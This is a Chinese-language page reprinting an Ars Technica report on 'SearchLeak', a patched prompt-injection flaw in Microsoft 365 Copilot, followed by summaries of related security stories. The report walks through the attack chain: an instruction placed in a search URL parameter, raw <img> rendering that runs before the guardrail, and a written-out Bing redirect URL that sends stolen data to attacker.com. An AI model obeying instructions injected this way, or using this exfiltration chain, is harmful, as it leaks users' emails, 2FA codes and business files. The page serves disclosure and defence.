关键 Copilot 漏洞允许黑客窃取用户双因素认证代码

Ars Technica 新闻

摘要

微软 365 Copilot 中存在一个名为 SearchLeak 的关键漏洞,攻击者通过参数到提示的注入(parameter-to-prompt injection),在安全护栏生效前利用原始 HTML 渲染,能够窃取双因素认证(2FA)代码。微软已修复该漏洞,但提示注入这一根本问题依然存在。

<p>上周二,微软修补了其 M365 Copilot AI 平台中一个被评定为最高严重性的漏洞。周一,发现并向微软报告该漏洞的研究人员揭示了他们的概念验证攻击如何能够检索到 Copilot 可访问的电子邮件中的双因素认证(2FA)代码及其他敏感数据。</p> <p>微软及其他大型语言模型提供商一直无法阻止其产品响应恶意请求并泄露数据。根本原因在于:AI 机器人无法区分用户提供的指令与那些隐藏在第三方内容中的指令——这些内容正是模型所总结、起草回复或用于代表用户执行其他操作的来源。由于无法确保这一关键边界的安全,微软及其同行只能建立复杂且临时的安全护栏,以控制这一无法治愈的轻信性所带来的后果。</p> <h2>跨越安全护栏</h2> <p>Copilot 及大多数其他大型语言模型内置的一项安全护栏可防止它们提交网页表单、发送电子邮件或采取类似可能导致数据外泄的操作。为绕过这一限制,大型语言模型黑客转向了标记语言,该语言允许用户在无需 HTML 标签的情况下添加标题、列表和链接等格式化元素。另一种绕过方法是将敏感数据包裹在 &lt;img&gt; 和 &lt;form&gt; 等 HTML 标签中。在这两种情况下,包含数据的网页请求都会到达攻击者的网络服务器,秘密信息随即被记录在日志中。</p><p><a href="https://arstechnica.com/security/2026/06/critical-copilot-vulnerability-allowed-hackers-to-seal-2fa-code-from-users/">阅读全文</a></p> <p><a href="https://arstechnica.com/security/2026/06/critical-copilot-vulnerability-allowed-hackers-to-seal-2fa-code-from-users/#comments">评论</a></p>
查看原文
查看缓存全文

缓存时间: 2026/06/16 14:32

# 关键Copilot漏洞允许黑客窃取用户的两步验证码来源:https://arstechnica.com/security/2026/06/critical-copilot-vulnerability-allowed-hackers-to-seal-2fa-code-from-users/ 要实现"参数到提示注入",攻击者会向目标发送一封包含URL的邮件,URL语法为 `https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=`。该字段包含一条指令。Copilot会欣然遵从。 "搜索功能正是攻击者所需要的,因为即便能力有限,只要用户有权访问关键信息就足够了,"研究人员在周一(https://www.varonis.com/blog/searchleak)的文章中写道。"为了窃取数据,攻击者精心构造一个URL,告诉Copilot‘搜索用户的电子邮件’,提取标题,并将其嵌入到一个图片URL中。" 受害者无需输入任何内容。他们只需点击一个链接,剩下的工作由Copilot完成。通常情况下,将输出包裹在代码块中的防护机制会生效。但研究人员发现,这种保护仅在"思考"阶段之后才会触发。在此之前,Copilot使用原始HTML生成响应,该响应会暂时在浏览器DOM中渲染。 研究人员写道: > 因此,流程如下: > 1. Copilot开始流式传输其响应,其中包含一个 `<img>` 标签 > 2. 浏览器看到该 `<img>` 标签,渲染它,并向src URL发送一个HTTP请求 > 3. Copilot完成生成。防护机制将所有内容包裹在 `<code>` 块中 > 4. 太晚了!请求已经发出。 研究人员现在能够从目标的浏览器中触发图片请求。如前所述,问题在于Copilot不会将图片请求发送到大多数网站。为了绕过这一防护,漏洞利用链使用了微软的必应搜索引擎作为某种跳板。根据Copilot的内容安全策略,必应是被允许发送此类请求的网站之一。然后,必应会将请求发送到请求中包含的攻击者控制的域名。 请求看起来像这样:`https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png` Varonis将这种攻击命名为SearchLeak。"由于SearchLeak针对的是微软的企业级服务,其影响范围不限于个人数据——它能够获取用户在企业内有权访问的任何内容,包括电子邮件、会议邀请和笔记,"公司研究人员写道。"SharePoint文档、OneDrive文件以及其他已索引的业务内容。根据M365与环境的连接方式,影响范围可能进一步扩大。" 如前所述,微软已于周二修复了SearchLeak所利用的漏洞。然而,由于没有已知的方法可以解决此类SNAFU问题的根本原因,攻击者必然会找到新的方法来绕过新构建的防护机制,而这一过程将再次重复。

相似文章

Microsoft Copilot Cowork 文件外泄

Hacker News Top

PromptArmor 的研究人员展示了 Microsoft Copilot Cowork 可能通过间接提示注入被利用,从 Microsoft 365 中窃取文件,利用的是当接收者为活跃用户时某些操作缺乏审批的漏洞。

Microsoft Copilot Cowork 文件外泄

Simon Willison's Blog

Microsoft Copilot Cowork 中存在一个安全漏洞,攻击者可通过利用提示注入触发外部图片请求,从而外泄文件,可能导致未经身份验证的下载链接泄露。

Anthropic Claude Code 泄露揭示严重命令注入漏洞

Lobsters Hottest

在 Anthropic 的 Claude Code CLI 和 SDK 中发现了严重命令注入漏洞(CVE-2026-35022,CVSS 9.8),攻击者能够通过环境变量、文件路径和身份验证助手执行任意命令并窃取凭据。这些缺陷使得在 CI/CD 环境中能够进行毒化流水线执行攻击,需要立即修补和配置更改。

数周内第二次,微软软件包被植入凭据窃取器

Ars Technica

数周内第二次,微软已验证的开源软件包被植入了凭据窃取恶意软件,影响GitHub上的73个软件包。该攻击与威胁行为者TeamPCP有关,利用被盗的OIDC令牌,并通过云基础设施横向传播。